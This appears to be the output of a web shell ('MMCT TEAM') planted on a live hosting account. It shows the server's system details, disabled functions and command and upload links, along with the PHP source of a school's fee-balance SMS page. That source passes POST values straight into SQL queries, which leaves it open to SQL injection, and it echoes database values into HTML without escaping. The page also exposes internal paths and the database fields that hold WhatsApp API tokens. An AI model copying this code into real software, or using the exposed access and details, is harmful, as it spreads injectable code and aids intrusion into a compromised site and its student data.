MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.139
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/demo/src/../css4/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/demo/src/../css4/../send_balance_sms.php
<?php 
$ShowZero=false;
error_reporting(E_ALL ^ E_WARNING); 

    // First we execute our common code to connection to the database and start the session 
    require("common.php"); 
     
    // At the top of the page we check to see whether the user is logged in or not 
    if(!isset($_SESSION['user']) && !isset($_SESSION['Mng_User'])) 
    { 
        // If they are not, we redirect them to the login page. 
        header("Location: login.php"); 
         
        // Remember that this die statement is absolutely critical.  Without it, 
        // people can view your members-only content without logging in. 
        die("Redirecting to login.php"); 
    } 
     
    // Everything below this point in the file is secured by the login system 
     
    // We can display the user's username to them by reading it from the session array.  Remember that because 
    // a username is user submitted content we must use htmlentities on it before displaying it to the user. 
?>

<?php
    include("config/dbconnect.php");
    $SchoolCode=$_SESSION['code'];
    $sel_school=mysqli_query($con,"select * from schools where schoolCode='$SchoolCode'");
    $schName="";
    $whatsapp_api_key = '';
    $whatsapp_api_url = '';
    $whatsapp_instance_id = '';
    $whatsapp_type = '';
    while($school_row=mysqli_fetch_array($sel_school))
    {
        $schName=$school_row['sms_schoolname'];
        $whatsapp_api_key = $school_row['whatsapp_api_key'];
        $whatsapp_api_url = $school_row['whatsapp_api_url'];
        $whatsapp_instance_id = $school_row['whatsapp_instance_id'];
        $whatsapp_type = $school_row['whatsapp_type'];
    }
    
    mysqli_close($con);

?>


<?php include "config/config.php";


$SchoolCode=$_SESSION['code'];


$r=mysqli_query($con,"select * from class");
$r1=mysqli_query($con,"select * from division");
$r2=mysqli_query($con,"select * from head  ");
if ($_SERVER['REQUEST_METHOD'] == 'POST') 
{
$cl=$_POST["Class"];
$dv=$_POST["Division"];
}
?>



<!DOCTYPE html>
<html>
<head>
  <!-- start: Meta -->
  <meta charset="utf-8">
<title>Balance Report</title>  <meta name="description" content="Bootstrap Metro Dashboard">
  <meta name="author" content="Dennis Ji">
  <meta name="keyword" content="Metro, Metro UI, Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina">
  <!-- end: Meta -->
  
  <!-- start: Mobile Specific -->
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <!-- end: Mobile Specific -->
  
  <!-- start: CSS -->
  <link id="bootstrap-style" href="css/bootstrap.min.css" rel="stylesheet">
  <link href="css/bootstrap-responsive.min.css" rel="stylesheet">
  <link id="base-style" href="css/style.css" rel="stylesheet">
  <link id="base-style-responsive" href="css/style-responsive.css" rel="stylesheet">
  <link href='http://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&subset=latin,cyrillic-ext,latin-ext' rel='stylesheet' type='text/css'>
  <!-- end: CSS -->
  

  <!-- The HTML5 shim, for IE6-8 support of HTML5 elements -->
  <!--[if lt IE 9]>
      <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
    <link id="ie-style" href="css/ie.css" rel="stylesheet">
  <![endif]-->
  
  <!--[if IE 9]>
    <link id="ie9style" href="css/ie9.css" rel="stylesheet">
  <![endif]-->
    
  <!-- start: Favicon -->
  <link rel="shortcut icon" href="img/favicon.ico">
  <!-- end: Favicon -->
  
    <style type="text/css">
<!--
.style1 {
  color: #3300CC;
  font-weight: bold;
}
.style2 {
  color: #FF0000;
  font-weight: bold;
}
.style4 {
  color: #CC00FF;
  font-weight: bold;
}
-->
#myModal .form-control {
    width:80%;
}
</style>

    







     <script src="https://code.jquery.com/jquery-3.3.1.js"></script>
 <script src="https://cdn.datatables.net/1.10.16/js/jquery.dataTables.min.js"></script>
 <script src="https://cdn.datatables.net/buttons/1.5.1/js/dataTables.buttons.min.js"></script>
 <script src="https://cdnjs.cloudflare.com/ajax/libs/jszip/3.1.3/jszip.min.js"></script>
 <script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.32/pdfmake.min.js"></script>
 <script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.32/vfs_fonts.js"></script>
 <script src="https://cdn.datatables.net/buttons/1.5.1/js/buttons.html5.min.js"></script>
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.10.16/css/jquery.dataTables.min.css"/>
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/buttons/1.5.1/css/buttons.dataTables.min.css"/>
    <script type="text/javascript">
    $.fn.dataTable.ext.errMode = 'none';
	$.fn.dataTable.ext.errMode = 'none';
        $(document).ready(function() {
    $('#example').DataTable( {
        "bPaginate": false,
        dom: 'Bfrtip',
        buttons: [
            'copyHtml5',
            'excelHtml5',
            'csvHtml5',
            'pdfHtml5'
        ]
    } );
} );
                $(document).ready(function() {
    $('#example1').DataTable( {
        dom: 'Bfrtip',
        buttons: [
            'copyHtml5',
            'excelHtml5',
            'csvHtml5',
            'pdfHtml5'
        ]
    } );
} );
    $(document).ready(function() {
    $('#example2').DataTable( {
        dom: 'Bfrtip',
        buttons: [
            'copyHtml5',
            'excelHtml5',
            'csvHtml5',
            'pdfHtml5'
        ]
    } );
} );
     $(document).ready(function() {
    $('#example3').DataTable( {
        dom: 'Bfrtip',
        buttons: [
            'copyHtml5',
            'excelHtml5',
            'csvHtml5',
            'pdfHtml5'
        ]
    } );
} );
    $(document).ready(function() {
    $('#example4').DataTable( {
        dom: 'Bfrtip',
        buttons: [
            'copyHtml5',
            'excelHtml5',
            'csvHtml5',
            'pdfHtml5'
        ]
    } );
} );
    </script>
        <script src="js/jquery-migrate-1.0.0.min.js"></script>
    
    
        <script src="js/jquery-ui-1.10.0.custom.min.js"></script>
    
      <script src="js/jquery.ui.touch-punch.js"></script>
    
        <script src="js/modernizr.js"></script>
  <script src="js/bootstrap.min.js"></script>
    
          
         <script src="js/jquery.cookie.js"></script>
    
        <script src='js/fullcalendar.min.js'></script>
    
        

         <script src="js/excanvas.js"></script>
    <script src="js/jquery.flot.js"></script>
    <script src="js/jquery.flot.pie.js"></script>
    <script src="js/jquery.flot.stack.js"></script>
    <script src="js/jquery.flot.resize.min.js"></script>
    
        <script src="js/jquery.chosen.min.js"></script>
    
        <script src="js/jquery.uniform.min.js"></script>
        
        <script src="js/jquery.cleditor.min.js"></script>
    
        <script src="js/jquery.noty.js"></script>
    
        <script src="js/jquery.elfinder.min.js"></script>
    
        <script src="js/jquery.raty.min.js"></script>
    
        <script src="js/jquery.iphone.toggle.js"></script>
    
        <script src="js/jquery.uploadify-3.1.min.js"></script>
    
        <script src="js/jquery.gritter.min.js"></script>
    
        <script src="js/jquery.imagesloaded.js"></script>
    
        <script src="js/jquery.masonry.min.js"></script>
    
        <script src="js/jquery.knob.modified.js"></script>
    
        <script src="js/jquery.sparkline.min.js"></script>
    
        <script src="js/counter.js"></script>
    
        <script src="js/retina.js"></script>

        <script src="js/custom.js"></script>
        
        <style>
        @media only screen and (max-width: 768px) {
            .input-xlarge,select {
                    width: 100%!important;
                }
        }
        .box-header .box-icon {
            float: right;
            margin-top: -7px;
        }
        .box-header .box-icon .btn-sm {
            padding: 3px 10px;
        }
        </style>
        
</head>
<body onload="myFunction()">
		<!-- start: Header -->
	<?php 


	include "menu_f.php"; ?>
	<!-- start: Header -->
	
		<div class="container-fluid-full">
		<div class="row-fluid">
				
			<!-- start: Main Menu -->
			<div id="sidebar-left" class="span2">
				<div class="nav-collapse sidebar-nav">
					<ul class="nav nav-tabs nav-stacked main-menu">
						<li><a href="dashboard.php"><i class="icon-bar-chart"></i><span class="hidden-tablet"> Dashboard</span></a></li>	
						
						<?php include "menu.php"; ?>							
						
						
						
					</ul>
				</div>
			</div>
			<!-- end: Main Menu -->
			
			<noscript>
				<div class="alert alert-block span10">
					<h4 class="alert-heading">Warning!</h4>
					<p>You need to have <a href="http://en.wikipedia.org/wiki/JavaScript" target="_blank">JavaScript</a> enabled to use this site.</p>
				</div>
			</noscript>
			
			<!-- start: Content -->
			
					<div id="content" class="span10">
			
			
			<ul class="breadcrumb">
				<li>
					<i class="icon-home"></i>
					<a href="dashboard.php">Home</a> 
					<i class="icon-angle-right"></i>
				</li>
				<li><a href="#">Pay fees</a></li>
			</ul>
<div class="box-content">

<div class="row-fluid sortable">		
				<div class="box span12">
					<div class="box-header" data-original-title>
    						<h2><i class="halflings-icon white user"></i><span class="break"></span>Send Balance SMS</h2>
    						<div class="box-icon">
    						    <?php if($whatsapp_api_key != '' && $whatsapp_api_url != '') { ?>
                                    <button type="button" class="btn btn-success btn-sm pull-right" style="margin-left:10px;" data-toggle="modal" data-target="#testWhatsapp">Send Test Whatsapp</button>
                                    <?php } ?>
                                    <button type="button" class="btn btn-info btn-sm pull-right" data-toggle="modal" data-target="#myModal">Update Whatsapp Details</button> 
    						</div>
					</div>
					<div class="box-content" >
					
			<form class="form-horizontal" action="" method="post" >		
	<div class="control-group">
								<label class="control-label" for="selectError">Class:</label>
								<div class="controls">
								<select id="class" Name="Class"  onchange="fun1()" required>
								<option value="0">--Select--</option>
								  <?php 
									while($row=mysqli_fetch_array($r))
									{
										?>
									<option value="<?php echo $row['Name']; ?>" ><?php echo $row['Name']; ?></option>
									<?php 
									}
									?>
									</select>
								</div>
								 </div>
    <div class="control-group">
										<label class="control-label" for="selectError">Division:</label>
								<div class="controls">
								  <select id="Division" Name="Division"   required>
									<option value="0">--Select--</option>
									<?php 
									while($row1=mysqli_fetch_array($r1))
									{
										?>
									<option value="<?php echo $row1['Name']; ?>" ><?php echo $row1['Name']; ?></option>
									
									<?php 
									}
									?>
									
								  </select>
								</div>
							  </div>
							      <div class="control-group">
							      <label class="control-label" for="selectError">Fees Code:</label>
								<div class="controls">
								  
								  <select id="head" Name="head[]" multiple data-rel="chosen">
									<?php 
									while($row2=mysqli_fetch_array($r2))
									{
										?>
									<option value="<?php echo $row2['Head_Id']; ?>" ><?php echo $row2['Name']; ?></option>
									<?php 
									}
									
									?>
									
								  </select>
								  <br/>
								  <button id="toggleOptions" type="button">Select All</button>
		</div>
		</div>
	
	
							  
							  <div class="form-actions">
											<button type="submit" name="btnSubmit" class="btn btn-primary">submit</button>
						    </div>
							  </form>
</div>
</div>
</div>



<div class="row-fluid sortable">		
				<div class="box span12">
					<div class="box-header" data-original-title>
						<h2><i class="halflings-icon white user"></i><span class="break"></span>Students</h2>
						<div class="box-icon">
							
						</div>
					</div>
					<div class="box-content" >
					
					

<?php 


 


if ($_SERVER['REQUEST_METHOD'] == 'POST') 
{
$r5=mysqli_query($con,"SELECT * FROM `stud_basic` WHERE (`Class` = '$cl' OR '$cl'='0') and (`Division`= '$dv' OR '$dv'='0')");
}

?>
							
						
	


							<div class="table-responsive"  style="overflow-x:scroll;">
							    <form action="Send_Sms_Process.php" method="post" >		
            						<table id="example" class="table table-striped table-bordered bootstrap-datatable datatable">
            						  <thead>
            							 <tr>
            								  <th>Name</th>
            								  <th>Phone</th>
            								  <th>Class/Div</th>
            								  <th>Fees Code</th>
            								  <th>Total Fees</th>
            								  <th>Paid</th>
            								  <th>Balance</th>
            								  <th><input type="checkbox" id="select_all"/> Select All</th>
            							  </tr>
            						  </thead>   
            						  <tbody>
            						  
            							
            							
            <?php
            if ($_SERVER['REQUEST_METHOD'] == 'POST') 
            {
             $head=$_POST["head"];
             $multi_head = [];
             if($head != '' && count($head) > 0) {
                $multi_head = implode(',',$head);
                $hd=mysqli_query($con,"select * from head where Head_Id IN ($multi_head)");
             }
             else {
                 $hd=mysqli_query($con,"select * from head");
             }
             $hdd=mysqli_fetch_array($hd);
            
            while($row5=mysqli_fetch_array($r5))
            {
                
                $myhead='0';
            	if(isset($_POST))
            	{
            	    $myhead=$_POST["head"];
            	}
            	if($multi_head != '')
            	{
            	$argu="AND Head_Id in ($multi_head)";
            	
            	}
            	else
            	{
            	    $argu="";
            	}
                
                $bal_res=mysqli_query($con,"SELECT SUM(`Balance`) as stud from stud_basic2 WHERE `Stud_Id` = '$row5[Stud_Id]' $argu ");
            $bal=mysqli_fetch_array($bal_res);
            
            	if($ShowZero || $bal['stud']>0)
            	{
            ?>							
            							<tr>
            								<td><a href="stud_profile.php?key=<?php echo "$row5[Stud_Id]";   ?>" ><?php echo "$row5[Name]";   ?> </a>     </td>
            								<td><?php echo "$row5[Phone]";   ?></td>
            								<td class="center"><?php echo "$row5[Class]/$row5[Division]";   ?></td>
            								<?php
            										if(count($head) == 1)
            											{
            											
            											?>
            											<td class="center"><?php echo "$hdd[Name]";   ?></td>
            											<?php
            											}
            											else
            											
            											{
            											?>
            											<td class="center"><?php echo "All Fees";   ?></td>
            											<?php
            											} ?>
            								<td class="center">
            								
            
            	<?php
            	//echo "oko$argu"."<br><br><br>";
            	$totalamount=mysqli_query($con,"SELECT SUM(`Total_Amount`) as stud from stud_basic2 WHERE `Stud_Id` = '$row5[Stud_Id]' $argu  ");
            	//echo "SELECT SUM(`Total_Amount`) as stud from stud_basic2 WHERE `Stud_Id` = '$row5[Stud_Id]' '$argu' <br>";
            $totalam=mysqli_fetch_array($totalamount);		
            echo $totalam['0']; ?>	
            		 	</td>
            
            
            
            
            <td class="center"> 	<?php
            	$paid_res=mysqli_query($con,"SELECT SUM(`Paid`) as stud from stud_basic2 WHERE `Stud_Id` = '$row5[Stud_Id]' $argu ");
            $paid=mysqli_fetch_array($paid_res);		
            echo $paid['0']; ?>		</td>
            	
            
            
            
            <td class="center">  	<?php
            echo $bal['0']; ?>		</td>
                                    <td>
                                        <input class="checkbox" type="checkbox" name="Stud_Ids[]" value="<?php echo $row5['Stud_Id']; ?>" /> 
                                    </td>
            							</tr>
            						<?php
            				
            								}
            }
            				
            				}
            				
            						?>
            							
            						  </tbody>
            					  </table> 
            					  <?php if(isset($_POST['btnSubmit'])) { 
            					    $Fees_id_val = '';
            					    if(isset($_POST["head"]) && count($_POST["head"]) > 0) {
            					        $Fees_id_val = implode(',',$_POST["head"]);
            					    }
            					  ?>
            					  <input type="hidden" name="Fees_id" value="<?php echo $Fees_id_val; ?>" />
            					  <center>
            					      <input type="submit" name="btnSendsms" class="btn btn-info" value="SEND SMS">
            					      <input type="submit" name="btnSendWP" class="btn btn-info" value="SEND WhatsApp">
            					  </center>
            					  <?php } ?>
                                </form>
	            </div>


					
					</div> </div> </div>
							  	           
		
    

	</div>
			
			
			<!--/.fluid-container-->
	
			<!-- end: Content -->
		</div><!--/#content.span10-->
		</div><!--/fluid-row-->
		

	                <div id="testWhatsapp" class="modal fade" role="dialog" style="display:none;">
                      <div class="modal-dialog">
                        <div class="modal-content">
                            <form role="form" action="whatsapp-settings.php" method="post">
                              <div class="modal-header">
                                <button type="button" class="close" data-dismiss="modal">&times;</button>
                                <h4 class="modal-title">Send Test Whatsapp</h4>
                              </div>
                              <div class="modal-body">
                                  <fieldset>
                                    <div class="control-group">
                                        <label class="control-label" for="mno">Mobile Number</label>
                        								<div class="controls">
                        								  <input class="input-xlarge" name="mno" id="mno" type="text" placeholder="" required="">
                        								</div>
                        							  </div>
                                  </fieldset>
                              </div>
                              <div class="modal-footer">
                                <button type="submit" class="btn btn-info" name="sendWhatsapp_test">Test Whatsapp</button>
                                <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
                              </div>
                             </form>
                        </div>
                    
                      </div>
                    </div>
                    <div id="myModal" class="modal fade" role="dialog" style="display:none;">
                      <div class="modal-dialog">
                        <div class="modal-content">
                            <form role="form" action="whatsapp-settings.php" method="post">
                                <input type="hidden" name="page" value="send_balance_sms.php" />
                              <div class="modal-header">
                                <button type="button" class="close" data-dismiss="modal">&times;</button>
                                <h4 class="modal-title">Update Whatsapp Details</h4>
                              </div>
                              <div class="modal-body">
                                <div class="form-group">
                                    <label>Whatsapp Gateway</label>
                                    <select name="whatsapp_type" class="form-control whatsapp_type">
                                        <option <?php echo $whatsapp_type == 'dealsms' ? 'selected' : ''; ?> value='dealsms'>Dealsms</option>
                                        <option <?php echo $whatsapp_type == 'chatway' ? 'selected' : ''; ?> value='chatway'>Chatway</option>    
                                    </select>
                                </div>
                                <div class="form-group">
                                    <label>Whatsapp API URL</label>
                                    <input type="text" name="whatsapp_api_url" class="form-control whatsapp_api_url" value="<?php echo $whatsapp_api_url; ?>" />
                                </div>
                                <div class="form-group">
                                    <label>Whatsapp Instance ID / Username</label>
                                    <input type="text" name="whatsapp_instance_id" class="form-control" value="<?php echo $whatsapp_instance_id; ?>" />
                                </div>
                                <div class="form-group">
                                    <label>Whatsapp Access Token</label>
                                    <input type="text" name="whatsapp_api_key" class="form-control" value="<?php echo $whatsapp_api_key; ?>" />
                                </div>
                              </div>
                              <div class="modal-footer">
                                <button type="submit" class="btn btn-primary" name="btnSaveWhatsappDetails">Save</button>
                                <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
                              </div>
                             </form>
                        </div>
                    
                      </div>
                    </div>
	<div class="clearfix"></div>
	
	
	<div class="clearfix"></div>
	
		<footer>

		<p>
			<span style="text-align:left;float:left">&copy; 2018 <a href="http://evisioninfotech.in" alt="Bootstrap_Metro_Dashboard">e vision infotech</a></span>
			
		</p>

	</footer>

<script>
$("#select_all").change(function(){ 
    var status = $(this).prop("checked"); 
    $('.checkbox').each(function(){ 
        $(this).prop("checked",status);
        if(status)
        {
            $(this).parents("span").addClass("checked");
        }
        else
        {
            $(this).parents("span").removeClass("checked");
        }
    });
});

$('.checkbox').change(function(){
    if($(this).prop("checked") == false){
        $("#select_all").prop("checked",false);
        $("#select_all").parents("span").removeClass("checked");
    }
    if ($('.checkbox:checked').length ==$('.checkbox').length ){ 
        $("#select_all").prop("checked",true);
        $("#select_all").parents("span").addClass("checked");
    }
});
		</script>	
		
		<script>
            $(document).ready(function() {
                $('#toggleOptions').on('click', function() {
                    var allSelected = $('#head option').length === $('#head option:selected').length;
                    $('#head option').prop('selected', !allSelected);
                    var buttonText = allSelected ? 'Select All' : 'Unselect All';
                    $(this).text(buttonText);
                    $('#head').trigger('chosen:updated');
                });
                
                $(".whatsapp_type").change(function () {
                   if($(this).val() == 'dealsms') {
                       $(".whatsapp_api_url").val("<?php echo $dealsms_url; ?>");
                   } 
                   else if($(this).val() == 'chatway') {
                       $(".whatsapp_api_url").val("<?php echo $chatway_url; ?>");
                   } 
                });
                
            });
        </script>
	
</body>
</html>

MMCT - 2023